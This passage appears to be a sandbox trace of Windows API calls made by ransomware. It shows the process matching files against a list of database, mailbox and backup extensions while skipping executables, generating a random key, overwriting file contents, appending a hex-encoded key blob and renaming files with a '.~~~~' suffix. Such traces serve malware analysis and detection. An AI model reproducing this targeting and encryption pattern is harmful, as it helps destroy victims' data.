	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".edb") returned 0x0
	[0077.273] lstrlenW (lpString=".PST") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".PST") returned 0x0
	[0077.273] lstrlenW (lpString=".dbf") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbf") returned 0x0
	[0077.273] lstrlenW (lpString=".SQL") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SQL") returned 0x0
	[0077.273] lstrlenW (lpString=".pst") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".pst") returned 0x0
	[0077.273] lstrlenW (lpString=".dbv") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbv") returned 0x0
	[0077.273] lstrlenW (lpString=".SDF") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SDF") returned 0x0
	[0077.273] lstrlenW (lpString=".dtxs") returned 5
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dtxs") returned 0x0
	[0077.273] lstrlenW (lpString=".db3") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".db3") returned 0x0
	[0077.273] lstrlenW (lpString=".OST") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".OST") returned 0x0
	[0077.274] lstrlenW (lpString=".dbx") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbx") returned 0x0
	[0077.274] lstrlenW (lpString=".DB3") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DB3") returned 0x0
	[0077.274] lstrlenW (lpString=".DAT") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DAT") returned 0x0
	[0077.274] lstrlenW (lpString=".VHDX") returned 5
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".VHDX") returned 0x0
	[0077.274] lstrlenW (lpString=".ndf") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ndf") returned 0x0
	[0077.274] lstrlenW (lpString=".DB") returned 3
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DB") returned 0x0
	[0077.274] lstrlenW (lpString=".sql") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sql") returned 0x0
	[0077.274] lstrlenW (lpString=".MYD") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MYD") returned 0x0
	[0077.274] lstrlenW (lpString=".DBT") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBT") returned 0x0
	[0077.274] lstrlenW (lpString=".ACCDB") returned 6
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ACCDB") returned 0x0
	[0077.274] lstrlenW (lpString=".fdb") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".fdb") returned 0x0
	[0077.274] lstrlenW (lpString=".bak") returned 4
	[0077.274] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bak") returned 0x0
	[0077.274] lstrlenW (lpString=".myd") returned 4
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".myd") returned 0x0
	[0077.275] lstrlenW (lpString=".DTXS") returned 5
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DTXS") returned 0x0
	[0077.275] lstrlenW (lpString=".ckp") returned 4
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ckp") returned 0x0
	[0077.275] lstrlenW (lpString=".dbt") returned 4
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbt") returned 0x0
	[0077.275] lstrlenW (lpString=".db") returned 3
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".db") returned 0x0
	[0077.275] lstrlenW (lpString=".TXT") returned 4
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".TXT") returned 0x0
	[0077.275] lstrlenW (lpString=".MDF") returned 4
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MDF") returned 0x0
	[0077.275] lstrlenW (lpString=".bdb") returned 4
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bdb") returned 0x0
	[0077.275] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.275] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0077.275] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.276] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0077.276] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.277] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19726676424) returned 1
	[0077.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97f65f90, dwHighDateTime=0x1d60e1e)) 
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7e8
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0077.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7e8 | out: hHeap=0x300000) returned 1
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaaf0
	[0077.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0077.277] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.277] GetLastError () returned 0x0
	[0077.278] GetLastError () returned 0x0
	[0077.278] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.278] GetLastError () returned 0x0
	[0077.278] GetLastError () returned 0x0
	[0077.278] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.281] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.281] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.286] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.286] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.286] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.286] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.286] CloseHandle (hObject=0x128) returned 1
	[0077.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0077.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.~~~~")) returned 1
	[0077.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0077.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.288] GetLastError () returned 0x0
	[0077.288] RtlWakeConditionVariable () returned 0x365f70
	[0077.288] GetCurrentThreadId () returned 0x3a4
	[0077.288] GetCurrentThreadId () returned 0x3a4
	[0077.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab0d8 | out: hHeap=0x300000) returned 1
	[0077.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac820 | out: hHeap=0x300000) returned 1
	[0077.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab0d8
	[0077.288] lstrlenW (lpString=".scr") returned 4
	[0077.288] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".scr") returned 0x0
	[0077.288] lstrlenW (lpString=".cmd") returned 4
	[0077.288] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".cmd") returned 0x0
	[0077.288] lstrlenW (lpString=".dll") returned 4
	[0077.288] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".dll") returned=".dll"
	[0077.288] lstrlenW (lpString=".dll") returned 4
	[0077.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab0d8 | out: hHeap=0x300000) returned 1
	[0077.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.288] RtlWakeConditionVariable () returned 0x365f70
	[0077.288] GetCurrentThreadId () returned 0x3a4
	[0077.289] GetCurrentThreadId () returned 0x3a4
	[0077.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab180 | out: hHeap=0x300000) returned 1
	[0077.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac858 | out: hHeap=0x300000) returned 1
	[0077.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab180
	[0077.289] lstrlenW (lpString=".scr") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".scr") returned 0x0
	[0077.289] lstrlenW (lpString=".cmd") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".cmd") returned 0x0
	[0077.289] lstrlenW (lpString=".dll") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dll") returned 0x0
	[0077.289] lstrlenW (lpString=".bat") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bat") returned 0x0
	[0077.289] lstrlenW (lpString=".cpl") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".cpl") returned 0x0
	[0077.289] lstrlenW (lpString=".sys") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sys") returned 0x0
	[0077.289] lstrlenW (lpString=".msc") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".msc") returned 0x0
	[0077.289] lstrlenW (lpString=".com") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".com") returned 0x0
	[0077.289] lstrlenW (lpString=".lnk") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".lnk") returned 0x0
	[0077.289] lstrlenW (lpString=".msp") returned 4
	[0077.289] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".msp") returned 0x0
	[0077.290] lstrlenW (lpString=".pif") returned 4
	[0077.290] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".pif") returned 0x0
	[0077.290] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.290] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0077.290] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.290] lstrlenW (lpString=".sqb") returned 4
	[0077.290] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sqb") returned 0x0
	[0077.290] lstrlenW (lpString=".ost") returned 4
	[0077.290] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ost") returned 0x0
	[0077.290] lstrlenW (lpString=".txt") returned 4
	[0077.290] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".txt") returned 0x0
	[0077.290] lstrlenW (lpString=".mdt") returned 4
	[0077.290] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".mdt") returned 0x0
	[0077.290] lstrlenW (lpString=".BDB") returned 4
	[0077.290] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BDB") returned 0x0
	[0077.291] lstrlenW (lpString=".eql") returned 4
	[0077.291] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".eql") returned 0x0
	[0077.291] lstrlenW (lpString=".DBF") returned 4
	[0077.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBF") returned 0x0
	[0077.358] lstrlenW (lpString=".EQL") returned 4
	[0077.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".EQL") returned 0x0
	[0077.358] lstrlenW (lpString=".FDB") returned 4
	[0077.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".FDB") returned 0x0
	[0077.358] lstrlenW (lpString=".EDB") returned 4
	[0077.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".EDB") returned 0x0
	[0077.358] lstrlenW (lpString=".DACPAC") returned 7
	[0077.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DACPAC") returned 0x0
	[0077.359] lstrlenW (lpString=".VHD") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".VHD") returned 0x0
	[0077.359] lstrlenW (lpString=".DBV") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBV") returned 0x0
	[0077.359] lstrlenW (lpString=".dacpac") returned 7
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dacpac") returned 0x0
	[0077.359] lstrlenW (lpString=".sdf") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sdf") returned 0x0
	[0077.359] lstrlenW (lpString=".accdb") returned 6
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".accdb") returned 0x0
	[0077.359] lstrlenW (lpString=".DBX") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBX") returned 0x0
	[0077.359] lstrlenW (lpString=".MDT") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MDT") returned 0x0
	[0077.359] lstrlenW (lpString=".SQB") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SQB") returned 0x0
	[0077.359] lstrlenW (lpString=".vhd") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".vhd") returned 0x0
	[0077.359] lstrlenW (lpString=".bac") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bac") returned 0x0
	[0077.359] lstrlenW (lpString=".mdf") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".mdf") returned 0x0
	[0077.359] lstrlenW (lpString=".BAK") returned 4
	[0077.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BAK") returned 0x0
	[0077.360] lstrlenW (lpString=".BAC") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BAC") returned 0x0
	[0077.360] lstrlenW (lpString=".dbs") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbs") returned 0x0
	[0077.360] lstrlenW (lpString=".vhdx") returned 5
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".vhdx") returned 0x0
	[0077.360] lstrlenW (lpString=".NDF") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".NDF") returned 0x0
	[0077.360] lstrlenW (lpString=".dat") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dat") returned 0x0
	[0077.360] lstrlenW (lpString=".DBS") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBS") returned 0x0
	[0077.360] lstrlenW (lpString=".CKP") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".CKP") returned 0x0
	[0077.360] lstrlenW (lpString=".edb") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".edb") returned 0x0
	[0077.360] lstrlenW (lpString=".PST") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".PST") returned 0x0
	[0077.360] lstrlenW (lpString=".dbf") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbf") returned 0x0
	[0077.360] lstrlenW (lpString=".SQL") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SQL") returned 0x0
	[0077.360] lstrlenW (lpString=".pst") returned 4
	[0077.360] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".pst") returned 0x0
	[0077.361] lstrlenW (lpString=".dbv") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbv") returned 0x0
	[0077.361] lstrlenW (lpString=".SDF") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SDF") returned 0x0
	[0077.361] lstrlenW (lpString=".dtxs") returned 5
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dtxs") returned 0x0
	[0077.361] lstrlenW (lpString=".db3") returned 4
	[0077.361] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".db3") returned 0x0
